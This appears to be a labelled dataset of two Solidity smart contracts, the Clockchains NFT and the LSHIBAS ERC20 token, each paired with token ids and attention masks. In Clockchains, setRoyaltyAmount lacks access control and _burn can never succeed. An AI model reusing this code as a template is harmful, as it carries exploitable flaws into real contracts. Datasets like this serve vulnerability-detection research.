0xC12Df5F402A8B8BEaea49ed9baD9c95fCcbfE907; } _owners = _tempMem; _balances[_msgSender()] = 365; _postBigBang = true; } function _burn(uint256 tokenId) internal virtual { // Instead of messing everything by removing the index, we just transfer the asset to the burn addy. require(_isApprovedOrOwner(_msgSender(), tokenId), "Not authorized!"); address from = ERC721.ownerOf(tokenId); address to = address(0); _transfer(from, to, tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(_isApprovedOrOwner(_msgSender(), tokenId), "Not authorized!"); require(to != address(0), "Cannot transfer to zero addy!"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if(to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if(reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual {} } pragma solidity ^0.8.0; interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { mapping(address => mapping(uint256 => uint256)) private _ownedTokens; mapping(uint256 => uint256) private _ownedTokensIndex; function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "Owner index out of bounds"); return _ownedTokens[owner][index]; } function totalSupply() public view virtual override returns (uint256) { return 365; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "Global index out of bounds!"); return index; } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) public {} function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; if(tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {} } pragma solidity ^0.8.0; abstract contract ERC721Burnable is Context, ERC721 { function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "Not authorized!"); _burn(tokenId); } } pragma solidity ^0.8.0; interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } pragma solidity ^0.8.0; library EnumerableSet { struct Set { bytes32[] _values; mapping(bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if(!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if(valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if(lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } pragma solidity ^0.8.0; library Counters { struct Counter { uint256 _value; } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Decrement overflow!"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } pragma solidity ^0.8.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Addition overflow!"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Subtraction overflow!"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplication overflow!"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "Division by zero!"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Modulo by zero!"); return a % b; } } pragma solidity ^0.8.0; contract IERC2309 { event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed fromAddress, address indexed toAddress); } pragma solidity ^0.8.0; contract Clockchains is Context, ERC721Enumerable, ERC721Burnable, IERC2309 { event ReceivedRoyalties(address indexed creator, address indexed buyer, uint256 indexed amount); using Counters for Counters.Counter; using SafeMath for uint256; bytes4 public constant _INTERFACE_ID_ERC2981 = 0x2a55205a; // Default URIs string private _baseTokenURI = "https://arielbecker.com/Clockchains/token.php"; string private _contractURI = "https://arielbecker.com/Clockchains/contract.php"; string private _contractJSON = '{"name": "Clockchains v1.0","description": "Clockchains are 365 onchain-stored clocks that display the date, time, and lunar phase, according to the tier.","image": "https://arielbecker.com/Clockchains/assets/img/chclocks.png","external_link": "https://arielbecker.com/Clockchains","seller_fee_basis_points": 1000,"fee_recipient": "0xC12Df5F402A8B8BEaea49ed9baD9c95fCcbfE907"}'; string private _htmlTemplate = ''; // Royalties uint256 private royalties_percentage = 10; // Other internal values address private smart_contract_owner; Counters.Counter private _tokenIdTracker; bool private _preBigBang = true; bool private _frozen = false; constructor(string memory name, string memory symbol, string memory baseTokenURI) ERC721(name, symbol) { smart_contract_owner = _msgSender(); } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address temp = super.ownerOf(tokenId); if(temp == address(0)) { return smart_contract_owner; } else { return temp; } } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_tokenId >= 0, "Token ID cannot be less than zero!"); require(_tokenId < totalSupply(), "Token ID out of bounds!"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, "?id=", Strings.toString(_tokenId))) : ""; } function contractURI() public view returns (string memory) { return _contractURI; } function setContractURI(string memory _uri) public { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_frozen == false, "Contract is frozen!"); _contractURI = _uri; } function setContractJSON(string memory _json) public { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_frozen == false, "Contract is frozen!"); _contractJSON = _json; } function setBaseTokenURI(string memory _uri) public { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_frozen == false, "Contract is frozen!"); _baseTokenURI = _uri; } function setHTMLTemplate(string memory _html) public { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_frozen == false, "Contract is frozen!"); _htmlTemplate = _html; } function Freeze() public { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_frozen == false, "Contract is already frozen!"); _frozen = true; } function MassMint() public virtual { require(_msgSender() == smart_contract_owner, "Not authorized!"); require(_preBigBang == true, "Big Bang already happened!"); require(_frozen == false, "Contract is frozen!"); _bigbang(); _preBigBang = false; emit ConsecutiveTransfer(0, 364, address(0), 0xC12Df5F402A8B8BEaea49ed9baD9c95fCcbfE907); } function retrieveContractMetadata() public view returns (string memory) { return _contractJSON; } function retrieveData(uint256 _tokenId) public view returns (string memory, string memory) { require(_tokenId >= 0, "Token ID out of bounds!"); require(_tokenId < totalSupply(), "Token ID out of bounds!"); string memory data = _htmlTemplate; string memory metadata = ''; if(_tokenId >= 0 && _tokenId < 5) { metadata = '{"attributes":[{"trait_type":"Tier","value":"Stygian Chronosphere"},{"trait_type":"Textcolor","value":"#FF1A03"},{"trait_type":"Foreground","value":"#FF1A03"},{"trait_type":"Background","value":"#000000"}]}'; } else if(_tokenId > 4 && _tokenId < 25) { metadata = '{"attributes":[{"trait_type":"Tier","value":"Taskukello"},{"trait_type":"Textcolor","value":"#FFFFFF"},{"trait_type":"Foreground","value":"#FFDB51"},{"trait_type":"Background","value":"#000000"}]}'; } else if(_tokenId > 24 && _tokenId < 54) { metadata = '{"attributes":[{"trait_type":"Tier","value":"Clepsydra"},{"trait_type":"Textcolor","value":"#4639E5"},{"trait_type":"Foreground","value":"#FFFFFF"},{"trait_type":"Background","value":"#BAA86F"}]}'; } else if(_tokenId > 53 && _tokenId < 209) { metadata = '{"attributes":[{"trait_type":"Tier","value":"Shizhong"},{"trait_type":"Textcolor","value":"#FBF5E0"},{"trait_type":"Foreground","value":"#FBF5E0"},{"trait_type":"Background","value":"#1F456E"}]}'; } else if(_tokenId > 208 && _tokenId < 365) { metadata = '{"attributes":[{"trait_type":"Tier","value":"Horologium"},{"trait_type":"Textcolor","value":"#FFFFFF"},{"trait_type":"Foreground","value":"#FFFFFF"},{"trait_type":"Background","value":"#0C0033"}]}'; } return(data, metadata); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function hasRoyalties() public pure returns (bool) { return true; } function royaltyAmount() public view returns (uint256) { return royalties_percentage; } function setRoyaltyAmount(uint256 newpercentage) public { require(_frozen == false, "Contract is frozen!"); royalties_percentage = newpercentage; } function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltiesAmount) { require(_tokenId >= 0, "Token ID cannot be less than zero!"); require(_tokenId < totalSupply(), "Token ID out of bounds!"); if(_salePrice > 99) { // Only makes sense to pay royalties if the sell value is more than 100 wei; otherwise, who cares? uint256 valorRoyalties = _salePrice.div(100).mul(royalties_percentage); return(smart_contract_owner, valorRoyalties); } else { return(smart_contract_owner, 0); } } function royaltiesReceived(address _creator, address _buyer, uint256 _amount) external { emit ReceivedRoyalties(_creator, _buyer, _amount); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return interfaceId == 0x2a55205a \|\| super.supportsInterface(interfaceId); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 2603, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 2340, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 29464, 11890, 16048, 2629, 1063, 3853, 6753, 18447, 2121, 12172, 1006, 27507, 2549, 8278, 3593, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 29464, 11890, 2581, 17465, 2003, 29464, 11890, 16048, 2629, 1063, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 25331, 19204, 3593, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 4844, 1010, 21318, 3372, 17788, 2575, 25331, 19204, 3593, 1007, 1025, 2724, 6226, 29278, 8095, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 6872, 1010, 22017, 2140, 4844, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 3954, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 3853, 3954, 11253, 1006, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 3193, 5651, 1006, 4769, 3954, 1007, 1025, 3853, 3647, 6494, 3619, 7512, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 1025, 3853, 14300, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 1025, 3853, 2131, 29098, 26251, 1006, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 3193, 5651, 1006, 4769, 6872, 1007, 1025, 3853, 2275, 29098, 12298, 2389, 29278, 8095, 1006, 4769, 6872, 1010, 22017, 2140, 1035, 4844, 1007, 6327, 1025, 3853, 18061, 9397, 26251, 29278, 8095, 1006, 4769, 3954, 1010, 4769, 6872, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 3647, 6494, 3619, 7512, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 19204, 3593, 1010, 27507, 2655, 2850, 2696, 2951, 1007, 6327, 1025, 1065, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 29464, 11890, 2581, 17465, 2890, 3401, 16402, 1063, 3853, 2028, 11890, 2581, 17465, 2890, 3401, 3512, 2094, 1006, 4769, 6872, 1010, 4769, 2013, 1010, 21318, 3372, 17788, 2575, 19204, 3593, 1010, 27507, 2655, 2850, 2696, 2951, 1007, 6327, 5651, 1006, 27507, 2549, 1007, 1025, 1065, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 29464, 11890, 2581, 17465, 11368, 8447, 2696, 2003, 29464, 11890, 2581, 17465, 1063, 3853, 2171, 1006, 1007, 6327, 3193, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 6454, 1006, 1007, 6327, 3193, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 19204, 9496, 1006, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 3193, 5651, 1006, 5164, 3638, 1007, 1025, 1065, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 3075, 4769, 1063, 3853, 2003, 8663, 6494, 6593, 1006, 4769, 4070, 1007, 4722, 3193, 5651, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-05-24 / pragma solidity ^0.5.2; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract LSHIBAS is ERC20, ERC20Detailed, ERC20Burnable { constructor() ERC20Detailed('League of Shibas', 'LSHIBAS', 0) public { _mint(msg.sender, 1_000_000_000_000); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2484, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1016, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1028, 1014, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1013, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 16913, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 999, 1027, 1014, 1007, 1025, 2709, 1037, 1003, 1038, 1025, 1065, 1065, 3206, 9413, 2278, 11387, 2003, 29464, 11890, 11387, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2797, 1035, 5703, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 1007, 2797, 1035, 3039, 1025, 21318, 3372, 17788, 2575, 2797, 1035, 21948, 6279, 22086, 1025, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 